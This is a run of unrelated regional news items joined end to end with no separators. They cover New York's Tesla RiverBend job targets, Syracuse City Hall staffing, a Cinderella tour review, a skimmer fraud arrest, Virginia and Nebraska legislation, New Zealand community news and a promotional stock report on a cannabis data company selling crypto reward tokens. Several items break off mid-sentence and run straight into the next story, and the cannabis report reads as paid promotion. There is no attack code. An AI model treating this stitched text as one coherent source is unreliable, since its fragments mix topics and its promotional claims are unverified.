Nor does the report address underlying issues of diversity that were raised before it was released, including by local NAACP leader Jerome Bowles.

Any missteps, Bowles suggested, occurred before the students left for Washington, D.C.

There has to be a look at diversity in the diocese in general. Covington Catholic is a very academically proficient educational institution, no one questions that. But is the school totally preparing students for the workforce and a diverse world? he asked.ALBANY  New York will absolutely seek to penalize Tesla up to $41.2 million if the California company does not hit job goals for its solar plant at Buffalos RiverBend complex, a top Cuomo administration official said Tuesday.

But Howard Zemsky, a Buffalo businessman who heads the administrations Empire State Development, said the states focus is on working with Tesla and its tenant, Panasonic, to get the companies to diversify the kinds of products made at the sprawling facility.

In testimony before a joint legislative budget panel examining Gov. Andrew M. Cuomos 2019 budget plan, as well as in a brief session with reporters afterward, Zemsky tried to explain both the sour RiverBend job creation numbers at a time it is also making bold job pronouncements over a $3 billion government incentive package to lure Amazon to Queens.

So, we spent $1 million per job?" Senate Finance Committee Chair Liz Krueger, a Manhattan Democrat, asked Zemsky after he testified that 700 jobs have so far come to Tesla and Panasonic at RiverBend.

Asked after the budget hearing if the RiverBend project  which cost the state $750 million  has been a good deal for taxpayers, Zemsky said: I think the RiverBend project has got a better future than it has had a past. I think theres a path forward for more production there."

I think we have to work with Panasonic and Tesla to diversify the product base that they have at RiverBend," Zemsky added of what was to be an all solar manufacturing facility.

Zemsky said the two companies could retool operations into clean energy ventures, which he said could be related to Teslas automobile business, or energy storage systems or even other solar-related products.

The state not only built the factory but installed tens of millions of dollars worth of equipment used to make the Tesla and Panasonic products. It did so under a vision in which the state makes the upfront investment in a facility with state-of-the-art equipment as a way of getting a long-term deal for a tenant to increase jobs in an area.

So far, that vision has not yet been realized at RiverBend, lawmaker after lawmaker suggested to Zemsky on Tuesday.

Zemsky told reporters later that the state is done pumping money into RiverBend. The state has invested plenty in RiverBend. And it would be up to the companies to expand production on their dime," he said of Tesla and Panasonic diversifying its product line there.

RiverBend became ground zero in the Buffalo Billion corruption probe by federal prosecutors, which last year led to high-profile bribery convictions of several people, including Buffalo businessman Louis Ciminelli, whose firm won the solar plant construction deal.

A job creation deadline looms

Tesla has until April 2020 to have 1,460 people working at RiverBend  either for it or Panasonic  or risk a state penalty of up to $41.2 million.

Under questioning from Assemblyman Robin Schimminger, a Kenmore Democrat and longtime chairman of the Assemblys economic development committee, Zemsky was asked if the state would go after Tesla with financial penalties if the committed job numbers are not reached.

Yes, absolutely," Zemsky said. But he quickly added, Our goal should be to get to the point where we have the employment, not the penalties."

We would be way more excited to see the growth of the company  than to levy penalties," Zemsky said of Tesla.

Zemsky repeatedly said the RiverBend facility has about 700 jobs. The company has said there are about 800 jobs. One lawmaker, citing concerns that there may not even be 700 jobs, sought assurances that the state has the means to verify Teslas claims. Zemsky assured him it does.

A Tesla spokeswoman was not immediately available for comment.

The RiverBend program was taken over a couple of years ago by Zemskys agency after the bid-rigging scandal broke that involved Ciminellis firm and SUNY Polytechnic Institute, an arm of which ran the bidding operation. The former head of that SUNY college, Alain Kaloyeros, was convicted with Ciminelli during a corruption trial last year in Manhattan.

Zemsky said the penalty facing Tesla if it doesnt create the promised number of jobs is something in their mind," but that there may also have to be a recognition on the states part that the company can reach the target if it creates other jobs in the plant that might not have been considered when the original deal was struck. These companies started out thinking theyre going to do one thing and over time things change," Zemsky said. Were all trying to get to the same positive outcome.

Senator questions Buffalo Billion program

Krueger, the Senate finance committee chair, said she opposes the states system of corporate welfare that picks winners and losers for state financing of economic development projects. She said only the day before that Buffalo Mayor Byron Brown told lawmakers that the Buffalo Billion program translated into $6.5 billion worth of public and private investments in Western New York.

I asked him how much new (tax) revenue was coming into Buffalo from all those expenditures (and so) why does he still need to come to Albany to beg for money," Krueger said of Browns trip to the Capitol in which he asked for millions in state funding for various things.

Krueger said Brown told her the Buffalo Billion program has not increased tax revenues to the citys treasury.

So, what is Buffalo getting out of all this?" Krueger asked Zemsky.

The Cuomo economic adviser told her that Buffalo has grown like nowhere else in upstate and that Buffalo is an extremely different place than it was seven years ago. He told her 1,000 new businesses were created in the region over those years.

But if all these things are true, where are the tax revenues from these 1,000 businesses and all these employees?" Krueger asked Zemsky. He told her he did not have Buffalo tax receipts numbers but that Western New York has stopped declining."

The Manhattan lawmaker said Buffalos tax receipts should be sharply rising from the economic activities. Just because someone makes money doesnt mean you have economic development, she told Zemsky.

-- By Tom Precious, The Buffalo NewsSYRACUSE, N.Y. -- A top staffer in Mayor Ben Walshs administration is leaving City Hall and will be replaced with a seasoned local executive.

Frank Caliva, chief operating officer for CenterState CEO, will join Walshs staff in March as chief administrative officer -- a newly created job. He will replace Director of Administration Christine Elliott, who is leaving City Hall at the end of next week.

Elliott is returning to Washington, D.C., where her husband lives and works. She lived there and worked for Deloitte consulting before taking a job with Walsh when he assumed office last January.

Elliott called her year at City Hall a career high point and a privilege. Walsh added he was sad to see her leave.

Im sad to see Christie go. Shes been an amazing asset to the city, Walsh said Wednesday. Were leaving on the best possible terms.

Elliott was instrumental in developing the citys plan to purchase its streetlights from National Grid and convert them to LEDs. She also helped craft Walshs first budget early last year and develop the organizational structure for his nascent administration.

In his new role, Caliva will oversee a handful of city departments previously overseen by Elliott, including budget, information technology, finance, assessment and the office of accountability performance and innovation.

He will also assume the duties of former personnel director Robert Stamey, whose position was eliminated at the beginning of this year. Stamey had been with the city since 2005, mostly working in labor relations. He served as former mayor Stephanie Miners corporation counsel for three years between stints as personnel director.

Walsh said his aim is to combine some of the citys financial and personnel functions under a single roof, as well as modernize how the city tracks things like payroll and timekeeping. He called the current model for personnel and labor relations antiquated. Caliva agreed.

My role over the last three decades, no matter where Ive been, has been helping people and institutions navigate change. And we need to make some changes, Caliva said. We need to modernize. We need to bring human resources and the finance and budget process at least into the 1990s, maybe into the 2000s. Theres a lot of work to be done.

Caliva grew up in the city and currently lives in DeWitt just past the city line. He said he and his wife are currently house hunting in the city -- he even made an offer on a house this month.

Caliva is a graduate of Le Moyne College and did graduate studies at Syracuse University. Prior to joining CenterState, he worked for its predecessor, the Metropolitan Development Association, and worked in management at First Niagara Bank.

Walsh and Caliva met while both worked at the MDA more than a decade ago. Coincidentally, Elliott worked with them on the 20th floor of the State Tower Building -- she was director of 40 Below. Caliva was her first boss.

Walsh sent a letter to city employees Wednesday afternoon alerting them of the leadership change.Separate Little Red Riding Hood from her cape and she's just a girl in the woods dogged by a canine assailant. But Cinderella without her glass slipper is still Cinderella -- or is she? What if Cinderella fled the ball at midnight but never lost her shoe? In defying expectations, would such a change refresh an old fairy tale or ignore the wisdom 'if it ain't broke, don't fix it'?

Broadway in Syracuse, aka Famous Artists Broadway Theater Series, brings the national tour of "Cinderella" to the Landmark Theatre in a story that's both familiar and different. Based on the 1957 musical starring Julie Andrews that Rodgers and Hammerstein wrote specifically for live television, this updated version debuted on Broadway in 2013 with a new book by Douglas Carter Beane.

Set in a magical woodland kingdom overhung with arching boughs of yellow and green leaves, lit by blue-sky backdrops, sunsets and a vast full moon, this new Cinderella glimmers with enchantment. Taking a page from the Stephen Sondheim Into the Woods playbook -- which recognizes that anything can happen in the woods -- tour director Gina Rattan and set designer Anna Louizos stage the production within the context of a sylvan landscape; castle gates and arches, ballroom candelabras, even horses are composed of twisted vines. Instead of a cobblestoned town square, villagers gather in a forest clearing hung with banners in the style of a Renaissance Festival. Tree trunks and branches intersect, silhouetted by daytime skies and nighttimes starry firmament; within this shadowy space a rainbow palette of costumes (designed by Willian Ivey Long) saturate the stage, the ensemble as brilliant as Lite-Brite pegs in the popular childrens toy.

This storybook come-to-life prompts delight and rekindles childhood memories. Beane's script comprehends that a more modern retelling possesses the capacity to break down the cynicism we've built up as adults -- and it seems to take this responsibility seriously; the dialogue gives the stock characters more depth than we're used to seeing. In the opening scene the prince -- now more self-aware and ostensibly cooler because he's been renamed Topher -- regards monster-slaying as trivial work, saying regretfully, "I just wish I was doing something more with my life." On his way back to the castle, when he stops for a drink of water at a nearby house, he is served by Cinderella who marvels at his courtesy. Later, when she learns he's the prince she comments, "A world leader? But he appears to have a mind, heart and soul."

If you sense a political slant here, you're right. This newer, gentler "Cinderella" attempts to deliver a contemporary message to its audience: be kind, forgive, and (in the worlds of First Lady Melania Trump) be best. It's subtle at first, but by the time Cinderella grows a pair (of footmen, of glass slippers) and makes it to the ball, she's not afraid to tell the assembled crowd, "Kindness is practiced in all the great courts now. Ridicule isn't done anywhere anymore"; she even convinces Topher to hurl a barrage of compliments back and forth. If this sounds a bit goody-goody, don't worry -- the characters themselves call it out, with one saying, "It's like every time they speak, a part of me dies."

The talent onstage is what you'd expect from Broadway in Syracuse: first-rate. Kaitlyn Mayse as Ella is to the cinders born, as good as any Disney princess (a role she's played previously) with a lovely voice and sincerity in her acting. As Topher, Lukas James Miller's performance is confident and belies his age -- only two years out of undergrad -- and if he seems vaguely familiar, he's got a string of credits at Cortland Repertory Theatre. Zina Ellis is a resplendent Fairy Godmother with a voice that goes on for days, and Joanna Johnson is the undisputed show standout as ugly stepsister Charlotte, a brunette version of Australian actress Rebel Wilson.

Music supervisor Greg Anthony Rassen somehow manages to make a seven-member orchestra sound twice as big, and those in the audience at the Landmark who risked the storm and Tuesday night's slippery roads to attend opening night gave a standing ovation to the musicians and the cast.

If you've only read this review to find out whether it's true Cinderella leaves the ball with both shoes on her feet -- yes, that did happen, but that's the only spoiler you're getting out of me. No, actually, I lie: there's one more thing.

The final two words Cinderella utters illustrate why this updated version works: we all know how it ends, so why not have some fun along the way and defy the gravitas of what the website Vox explains is a 2,000-year-old story with over 500 versions? At least in this clever, snap-crackling production, Cinderella is the one to drop the mic by dropping her shoe -- on purpose -- in the ultimate show of female empowerment.

The Details

What: "Rodgers + Hammerstein's Cinderella"

Where: Famous Artists Broadway Theater Series at the Landmark Theatre, Syracuse

When seen: February 12

Length: 1 hours 50 minutes including a 20-minute intermission

Family Guide: Suitable for elementary school students and up

Runs through: February 17

Information and tickets: 315-424-8210 and BroadwayInSyracuse.comSyracuse, NY -- An Onondaga County employee accused of lying about his boss, since-fired Medical Examiner Dr. Robert Stoppacher, will now face a grand jury probe, a prosecutor announced today.

Tyler Strutz is facing a misdemeanor of making a false punishable written statement, in which he accused Stoppacher of defacing a corpse with a marker sometime in 2017. Thats apparently one of the incidents that led County Executive Ryan McMahon to fire Stoppacher several weeks ago.

Today, prosecutor Anthony Johnston announced that his office would present Strutzs case to a grand jury. That could mean Strutz might be indicted on a felony, though theres no guarantees.

Tyler Strutz

For now, it simply means that nothing will happen until a grand jury looks into the case.

After court, defense lawyer Paul Carey responded that he would seek judicial subpoenas to investigate those who are accusing Strutz of lying.

At issue are dueling investigations into Stoppacher, one in 2017 by the state Department of Health, and another in 2018 by the county. The allegation is that Stoppacher wrote a letter next to a tattoo on a corpse as a joke.

Onondaga County District Attorney William Fitzpatrick has accused Strutz of lying in the more recent county investigation by accusing Stoppacher of writing the letter after not telling that to state investigators in 2017.

Theres also an intern apparently present at the time of the incident who contradicted Strutz, saying Stoppacher never wrote on the corpse.

Carey said he needed the judicial orders to investigate the intern and the circumstances surrounding the 2017 state investigation.

For now, the case is put on hold to give the DAs office time for the grand jury investigation. A new court date is set for next month to see how that is progressing.

Strutz remains free while the case continues.Youth from 18 schools in Southwestern Virginia celebrate the fourth annual Tobacco-Free Spirit Day, Feb. 13 a statewide day of action to thank the 40 out of 132 Virginia school divisions that have protected their students with 100% comprehensive e-cigarette-free and tobacco-free policies.

Giles County, Carroll County, Roanoke County, Smyth County, Washington County, Dickenson County, Russell County, Tazewell County, and Grayson County are 9 of 40 school divisions with comprehensive policies in place. The event is an initiative of Y Streets 24/7 campaign, which partners with Virginia school divisions to support them in adopting, implementing, and enforcing 100% comprehensive e-cigarette-free and tobacco-free policies.

Tobacco-Free Spirit Day is a chance for schools in divisions with comprehensive policies to

celebrate by hosting student-led events with the theme I love my e-cigarette-free and tobacco free school division. Students and staff at these events filled out Valentines cards which will

be sent to their school boards to thank them for committing to a healthy, tobacco-free school

environment.

Im glad to be in a division that supports Tobacco-Free Spirit Day because it allows my peersThe local Holston Rivers Chapter of the Virginia Master Naturalist program began in 2007 and is based in Southwest Virginia around the Holston Rivers watershed. Graduates of the program have played important roles in helping Hungry Mother expand visitor programs and protect park resources.

I think people want to volunteer and dont know how, so this class introduces you to people who can help, said Tanya Hall, chief ranger for visitor experience at Hungry Mother. At Hungry Mother weve really benefitted from the program because weve had many people come from it to volunteer here. We benefit by being able to offer more programs to our visitors.

As part of the Virginia State Park system, Hungry Mother offers its own unique array of experiences for both residents and visitors to the state. The attributes of a lake, with swimming, sunbathing, boating, and fishing, and woods for hiking, camping, picnicking and geocaching, as well as restaurant, festivals and a retreat area provide locals as well as visitors an entertaining and educational experience.

According to the Virginia Tech report, of the $249.1 million spent in the state last year, about 46 percent, $113 million, was by out-of-state visitors.Smyth school officials are looking at a $51 million budget for next year, which is about $800,000 larger than the current year, but figures will remain uncertain until the state approves a budget and rates are set for health insurance.

We built a budget based on a lot of things we dont know, said Superintendent Dr. Dennis Carter at Mondays school board meeting. Things like state funding and a possible increase in health insurance are not yet known, he said.

As the budget was developed, preparations were made for a potential 10 percent increase in health insurance rates, Carter said, because rates wont be known until the end of February. The budget also includes a 3 percent flat raise for staff that added to this years 2 percent raise would yield the 5 percent raise required by the state by 2020.RICHMOND, VA - On Tuesday the Virginia General Assembly gave final approval to legislation providing nearly $1 billion in tax relief by increasing the standard deduction, providing rebate checks to Virginia taxpayers, and largely conforming the Virginia tax code to the federal tax code.

Providing direct tax relief to working Virginians and reversing the unlegislated tax increase initially proposed by the Governors budget is critical, said Virginia Senator David Suetterlein (R-Roanoke County).

Senate Bill 1372 as it passed the legislature would provide refunds of up to $110 for individual taxpayers and $220 for married people filing jointly later this year. The legislation increases the standard deduction by fifty percent to $4,500 for individual filers and to $9,000 for married people filing jointly beginning in tax year 2019, the first increases for individual filers since 1989.

As an architect of the tax plan, Senator Suetterlein was emphatic in the working group that this money be returned to taxpayers and helped set the proposal on its successful path, said Virginia Senate President Pro Tempore Steve Newman (R-Lynchburg).More than 100 charges have been filed against two men accused of stealing peoples credit card information using skimmers at gas pumps and spending thousands of dollars after creating fake cards.

Uvar Alexander Valera Esquenazi, age unknown, of Sarasota, Florida, and Renier Ramirez Rodriguez, 20, of Louisville, Kentucky, have each been charged with 77 felony charges and 41 misdemeanor charges by the Bristol Virginia Police Department. They face charges of credit/debit card forgery, credit/debit card fraud, obtaining money by false pretense and conspiracy to commit a felony.

The White Pine Police Department in Tennessee arrested the men last Wednesday after a gas station clerk recognized them, authorities said. The pair has been wanted in multiple jurisdictions, including Bristol, Virginia; Bristol, Tennessee; Washington County, Virginia; Knoxville, Tennessee; and White Pine, Tennessee.

Beginning on Jan. 24, Bristol, Virginia, detectives began to investigate debit card fraud incidents reported by 18 different victims. In all of the Bristol incidents, the victims received notice of the fraud while still in possession of their debit cards.

Detectives said the men charged apparently placed skimmers on the pumps at different gas stations in the city.My own interpretation depends on what mood Im in, she said with laughter.

I think were all made up of our own dark and light experiences. My grandmother was sick for a long time, so that created some darker times in my life. The lighter colors in the painting come from having a really nice family and friends who love and support me, said Moser.

I just hope my audience feels something when they look at Colorful Girl. I want them to think about the things that make them happy and sad and how those experiences have shaped their lives.

Ava Marie Workman also began dabbling in art when she was a child. The student said much of her creative inspiration comes from her artist father.

I learned a lot of skills from my father when he and I spent time drawing together, said Workman.

The high school senior is drawn to color and enjoys painting nature scenes especially sunsets and sunrises. But, every now and then, she creates something out of the ordinary, such as a charcoal portrait of Elizabeth Taylor to satisfy her fascination with old movie stars.

Her recent work on exhibition at Emory & Henry College is an acrylic painting of a cherry tree in bloom and a pastel painting of snowy mountains.

The artwork of Moser and Workman, along with students from throughout the region, can be viewed from noon to 5 p.m. Monday through Saturday at the McGlothlin Center for the Arts at Emory & Henry College. For more information, call 276-944-6333.

Carolyn R. Wilson is a freelance writer in Glade Spring, Virginia. Contact her at news@washconews.com.BRISTOL, Va.  The first day of a two-day job fair brought a steady stream of job seekers to American Merchant on Friday, as the advanced manufacturer tries to secure its first round of production employees.

Weve gotten a lot of candidates. The response has been so good that were going to have another session; were planning it on March 1-2. We want to be fair  we dont really want to make it first-come, first-served, said company Chairman Robert Burton. Well continue the process, have some interviews on the first and second and make some decisions after that.

The company set up a website for people to register for a time slot for an interview on Monday, and all of this weeks slots were filled by Tuesday. People who just walked in were allowed to leave resumes or applications and contact numbers for the March session.

We dont want to discourage people from coming in and applying, Burton said. Over the course of the next two weeks, well be interviewing and looking at candidates.Elizabeth City, NC (27909)

Today

Sunny. High 78F. Winds NE at 10 to 15 mph..

Tonight

Partly cloudy skies this evening will become overcast overnight. Low 63F. Winds NE at 5 to 10 mph.Do you already have a paid subscription to any of the SWNewsMedia newspapers? If so, you can Activate your Premium online account by clicking here. Activation will allow you to view unlimited online articles each month. To activate your Premium online account, the email address and phone number provided with your paid newspaper subscription needs to match the information you use in setting up your online user account. If you are having trouble or want to confirm what email address and phone number is listed on your subscription account, please call 952-345-6682 or email circulation@swpub.com and we'll be happy to assist.Naomi A. Bruns, age 84 of Chappell, NE passed away Sunday, February 10, 2019 in Ogallala.

Funeral Services will be held at 11:00 A.M., Friday, February 15th in the Chappell United Methodist Church with PMA Brenda Tophoj officiating. Burial will follow in the Chappell Cemetery. Friends may stop at the Chappell United Methodist Church on Thursday from 4-6:00 P.M. Memorial contributions may be made in Naomis name to Adopt-A-Dog Animal Rescue, Inc., 16730 US Hwy 30, Chappell, NE 69129. A complete obituary will be published when available.

Gehrig-Stitt Chapel & Cremation Service, LLC is in charge of Naomis care and funeral arrangements.Farm operators and agronomists are invited to attend the Nebraska On-Farm Research Network research results update meeting Feb. 27 at Alliance.

The meeting will run from 9 a.m. until 2 p.m., including lunch, at Knight Museum & Sandhills Center, 908 Yellowstone Ave.

The program is free and includes lunch, but preregistration is requested for meal planning purposes. To preregister call Box Butte County Extension office at 308-762-5616, or the On-Farm Research Networks office in Lincoln at 402-624-8030 (or e-mail [email protected]).

Registration check-in begins at 8:30 a.m.

The Alliance meeting is one of a series of meetings across Nebraska, where crop production-related information from over 80 on-farm research projects conducted on Nebraska farms by Nebraska farmers in partnership with University of Nebraska faculty will be shared with producers. These research projects cover products, practices, and new technologies that impact farm productivity and profitability.

Research projects to be discussed will include: dry edible peas, dry bean direct harvest, cover crops, variable rate seeding, planting populations, multi-hybrid planting, starter fertilizer, fungicide applications, alternate crop rotations, multi-hybrid planting uses, seed treatments, and side-dress nitrogen management technologies including drone- and sensor-based management and variable-rate nitrogen management.

Certified Crop Advisor Credits are applied for and pending upon approval.

The Nebraska On-Farm Research Network is a statewide, on-farm research program that addresses critical farmer questions about production, profitability and natural resources. Growers take an active role in the on-farm research project sponsored by Nebraska Extension in partnership with the Nebraska Corn Growers Association, the Nebraska Corn Board, the Nebraska Soybean Checkoff, and the Nebraska Dry Bean Commission.

To learn more about the Nebraska On-Farm Research Network and how to participate, visit https://cropwatch.unl.edu/farmresearch.LINCOLN  Lawmakers last week debated bills dealing with income tax credit, unemployment benefits, slavery as punishment and scholarships for students, among others.

A proposed amendment to allow Nebraskans to receive a state income tax credit to offset part of their property tax bill was discussed Feb. 7. LR 3CA, introduced by Sen. Steve Erdman of Bayard, would provide a refundable state income tax credit. Erdman said this amendment would produce about $1.3 billion in income tax credit each year. There was no immediate action taken on the proposal.

On Feb. 7, a Business and Labor Committee amendment that would expand eligibility for unemployment benefits was advanced from general file. LB 306, introduced by Sen. Sue Crawford of Bellevue, would increase the list of people eligible for unemployment benefits by including those leaving employment to care for a family member with a serious health condition. The bill received a 29-11 vote and advanced to select file.

A constitutional amendment to no longer allow slavery as punishment for people convicted of crime was considered Feb. 7. LR 1CA, introduced by Sen. Justin Wayne of Omaha, would prohibit slavery and indentured servitude to all people. The constitution currently prohibits slavery and indentured servitude except as a punishment for individuals convicted of a crime. The amendment was advanced to select file by a 44-0 vote.

The Education Committee heard a bill on Feb. 5 that would provide state scholarships to students studying computer science, nursing or engineering at Nebraskas public university and state colleges. LB 639, introduced by Sen. John Stinner of Gering, would assist eligible students who have declared majors in these select fields. No one testified in opposition to this bill and no action was taken.

The Revenue Committee heard a bill on Feb. 8 that would ensure homeowners receive sufficient notice in advance of losing their property due to unpaid taxes. LB 463, introduced by Sen. Matt Williams of Gothenburg, would require that property owners must be notified at least three months before the property is acquired. The committee did not take any action on the bill.

The Judiciary Committee heard a proposal on Feb. 7 that would allow adoption by two people regardless of their marital status. LB 426, introduced by Sen. Wendy DeBoer of Bennington, would also not require the childs first parent to relinquish their parental rights. The committee did not take action on the proposal.

A bill that would expand a persons eligibility for unemployment benefits advanced from general file Feb. 7. LB 306, introduced by Sen. Sue Crawford of Bellevue, adds caring for a family member with a serious health condition to the list of reasons which are considered good cause for voluntarily leaving employment under the law. The senators advanced the bill to select file on a 29-11 vote.Click the image above to watch the video

Disgruntled retailers and resident are coming together in an effort to Green Up The Phoenix Carpark.

About 60 residents and retailers from Mount Maunganui met next to the Phoenix carpark, which is to be named Te Papa o Nga Manu Porotakataka, last night to discuss the new urban space in centre of Mount Maunganui.

Works at Mount Maunganuis new urban green space development started on July 2 2018.

The new name of the park was proposed in November last year and ever since, there has been an outpouring of complaints from people who call it a concrete jungle.

Councillor Leanne Brown has tried to address the complaints and set the record straight about the Mount urban space. Read more here.

However, last nights meeting co-organisers Dawn Kiddie and Andrew Hollis believe more needs to be done in order to green-up the urban space.

In the recently renamed Facebook group Lets Green Up The Phoenix Carpark, Andrew posted his thoughts about the urban space and other issues Tauranga City Council has faced recently.

Looks like the "green" space is only part of the problem. Bella Vista, Cayman apartments, the demolition of the council buildings because of black mould, the water reservoir (or lack of), the soon to be $5 million new I-site (will it be under budget (insert tui ad here)), oh....

The disrespect shown to ratepayers and ratepayers contributions is enormous, reads Andrews post.

The group is petitioning TCC to give us the green space we were promised. Not this monstrosity of concrete that replaces the asphalt that was at least useful.

Please feel free to join and add your voice to this campaign to get TCC to right yet another wrong.

The people gathered at last night's public meeting in the Mount.If you ask a class of primary school children to draw a picture of a scientist, often they will draw a man in a white lab coat.

But, there are many New Zealand women scientists trying to break down that stereotype.

Among them is House of Science chief executive Chris Duggan.

House of Science distributes more than 300 science resource kits to classrooms around the country, empowering teachers to deliver meaningful, hands-on science lessons.

A former secondary school science teacher and three-time nominee for the Westpac Women of Influence awards (science and innovation category), Chris established House of Science in Tauranga in 2013.

In partnership with the Wright Family Foundation, she has taken her vision to raise scientific literacy to nine other centres throughout New Zealand, with more clamouring to join.

Wright Family Foundation founder Chloe Wright says House of Science is a project which fits perfectly with the values and goals of the foundation.

The Wright Family Foundation is about empowerment through education, which is exactly what House of Science is achieving.

And if their work helps more young women think about taking up science careers, thats got to be positive.

Among the 35 topics children can learn about through House of Science are pollution, skeletons, and electricity, through to the recently-added topics of weather, space and climate change.

Each resource kit includes at least five hands-on experiments, catering for year one  eight students, and includes bi-lingual instructions for both teachers and students.

We want to normalise science in the classroom, says Chris.

We understand that many primary teachers lack the confidence to deliver science lessons, but by bringing science into every classroom in the country, we want to break down the stereotype of that man in the white lab coat.

Joining House of Science as its ambassador last year, was microbiologist Dr Siouxsie Wiles, who, with her hot pink hair, definitively breaks down the stereotype of what a scientist looks like.

She was named a Member of the New Zealand Order of Merit for services to microbiology and science communication in the recent New Years honours and is well-known for her ability to communicate science in a simple and straightforward way.

I dont fit the image or the mould of what a scientist looks like, even within my community, so its about challenging some of those preconceptions that you cant possibly be serious looking like that.

Its important that people outside of science, especially children who might be interested in going into science, see that you can be different, she says.Budget 2019 will be delivered on Thursday May 30.

This years Budget will be the first to use the Coalition Governments new Wellbeing approach, an evidence-based framework used to identify the Budget priorities and then assess which Budget bids should be accepted, says Finance Minister Grant Robertson.

This means Ministers and departments are focussed on developing Budget bids and policies which will deliver outcomes that will make real improvements to New Zealanders wellbeing.

In December, the Coalition Government announced the five priorities for Budget 2019. These were developed using the Treasurys Living Standards Framework (LSF), evidence from sector-based experts and the Governments Science Advisors, and through collaboration among public sector agencies and Ministers.

The five Priorities for Budget 2019 are:

 Creating opportunities for productive businesses, regions, iwi and others to transition to a sustainable and low-emissions economy

 Supporting a thriving nation in the digital age through innovation, social and economic opportunities

 Lifting Maori and Pacific incomes, skills and opportunities

 Reducing child poverty and improving child wellbeing, including addressing family violence

 Supporting mental wellbeing for all New Zealanders, with a special focus on under 24-year-olds.

Ministers are collectively responsible for delivering on these priorities, and for the first time have been tasked from the outset of the Budget process with developing their Budget bids through the lens of these evidenced-based priorities.

"This is a more rigorous framework for assessing bids and ensures that the Government is focussed on the outcomes that matter most, says Grant.TICKERS: APP; FUAPF; 2FA

Source: Streetwise Reports (2/13/19)

This cannabis technology company brings artificial intelligence, blockchain and cryptocurrency to the global medical cannabis marketplace to help patients make informed decisions and drive medical cannabis sales.



Global Cannabis Applications Corp. (APP:CSE; FUAPF:OTCQB; 2FA:FSA) is a developer of innovative data technologies for the cannabis industry. The Canada-based company began as a mobile applications developer and transformed to apply its knowledge and experience to the emerging medical cannabis industry.

In early 2017 the company underwent a name change, management change and a strategic change to pursue opportunities in the medical cannabis space. "Global Cannabis Applications (GCAC) was born to address the void of patient data and product information in the medical cannabis industry," stated Bradley Moore, Global Cannabis CEO and director. "With the recent legalization of recreational cannabis in Canada and medical cannabis throughout the U.S. at the state level, the industry has become an economic force."

Global Cannabis recently launched its first sales program to retail cannabis dispensaries in California, Utah and Arizona. "Along with partner agreements in Latin America, GCAC is poised to begin generating significant revenues," Moore said.

New Strategy, New Markets, New Mission

Initially management focused on patient applications with the company launching patient-centric mobile apps in 2017 and early 2018 to support this effort. As the company developed and launched these apps, "it became obvious that there was a greater opportunity to focus on patient and product data and information that could benefit all stakeholders of the cannabis industry, including patients, medical professionals, dispensaries and licensed producers. This was an opportunity to broaden the reach of the Citizen Green technology beyond the patient and generate significant opportunities," Moore told Streetwise Reports.

"We set our sights on using its advanced technology to build applications that would create the largest patient outcomes and product data repository in the cannabis industry," Moore explained.

Citizen Green Technologies

Starting with a proprietary database of over 10 years of medical cannabis field research, Moore set out to build a data solution that would ultimately connect patients, dispensaries, medical professionals and licensed producers. To complete this task, "we assembled an impressive team of uniquely qualified individuals that brought together five core technologies into one single data solution: mobile applications, artificial intelligence, smart databases, blockchain and digital reward tokens. The platform motivates and retains customers, increases dispensary revenues, drives product conversations and transactions, and perhaps most importantly improves medical outcomes for medical cannabis patients," he stated.

A common term of the cannabis industry lexicon is "seed to sale," which tracks the journey of the cannabis plant or product from when it is planted to when it is eventually sold as a medical product. Moore told Streetwise Reports, "the Citizen Green Community closes the seed to sale loop by tracking patient experience after the product is sold, truly bringing the process full circle from 'seed to sale to seed.' By closing the loop, not only does it answer questions like what strains are working, but more importantly it also maps the user treatment experience to determine future strain and product development."

A Solution for Medical Cannabis Sellers

The Citizen Green Community offers retail dispensaries three main components to improve customer loyalty, retention and spend, with the goal of improving patients' health and wellness.

1. Prescriptii Patient-Care Solution

This patient-care solution is an integrated retail and patient solution for both in store and online uses, and a connected mobile application. Prescriptii generates cannabis efficacy-based product recommendations for patients and tracks the treatment through the prescribing timeframe. "By capturing these anonymous data insights, the information can then be used by the dispensary to increase revenue per patient and optimize business operations from marketing to inventory management. Data insights are also the product of choice to be bought and sold on the Citizen Green MarketPlace," Moore explained.

2. The Citizen Green Onward Rewards

Onward Rewards is a loyalty program designed to improve customer loyalty to a single retail dispensary and is powered by the Citizen Green Coin (CGC) digital reward token, or cryptocurrency. Moore explained, "The innovative CGCs are the loyalty currency, like points, that patients can earn through participation on the Prescriptii Patient-Care mobile app and can be redeemed for discounts on products. Retail dispensaries use CGCs to gain and increase customer retention, drive product sales and build the repository of data insights. CGCs are purchased from the company at US$0.10 per coin."

3. Citizen Green MarketPlace

The data insights captured by individual dispensaries using the Prescriptii Patient-Care Solution have value, so GCAC created a marketplace where registered organizations could buy, sell and trade this information. Using the CGC as community currency, dispensaries can buy information and data from other non-competing dispensaries. For example, a Chilean dispensary could buy data from a U.S. dispensary to jump start its business, or to improve a marketing campaign for patient retention or acquisition. "The GCCs earned by the U.S. dispensary have real value and can be used for programs in their own loyalty programs," Moore explained. "The ability for dispensaries to earn CGCs by selling anonymous patient data inputs means that the business cost for the Onward Rewards program is much lower than typical reward programs and could even pay for itself. As global data insights grow and are shared across the community, so do members' business revenues."

Multiple Levels of Revenue

GCAC is generating revenue by helping medical cannabis retail dispensaries grow their business using the Prescriptii Patient-Care Solution:

Dispensaries pay a monthly fee for access to the system depending on the number of patients they service,

Loyalty coins are purchased from GCAC as required based on individual dispensary needs,

Fees are charged for transactions taking place in the Citizen Green MarketPlace.

Due to the scalability of the Citizen Green Community, there is no limit to the number of global retail dispensaries registered on the system. In Q4 2018, GCAC launched a significant sales push into the United States to over 3,000 medical cannabis dispensaries across California, Arizona and Utah. "Owners of medical cannabis dispensaries are invited to visit the company's citizengreen.io website to learn about the smart technology driven Citizen Green Community and to register for the patient-care solution," Moore relayed.

GCAC is also working with partners to open new countries and languages, and develop new modules. In December, the company announced a partnership with Grassroots SpA to develop a Spanish version of Prescriptii Patient Care Solution and develop and release new online doctor scheduling and e-commerce modules for the local medical cannabis community.

The Value of Big Data

As the network of retail dispensaries builds, so does the database and so does the value of the database, explained Moore. "Through the advanced technologies previously mentioned, important market and data insights can be mined from the database. This valuable information will attract other industry stakeholders beyond retail dispensaries, including licensed producers, scientists, and medical professionals to join the Community, acquire CGCs and transact in the Citizen Green Marketplace. More members mean more transactions using more CGCs resulting in transactional revenue for the company and a greater overall value of GCAC."

Future Initiatives with a Scalable Platform

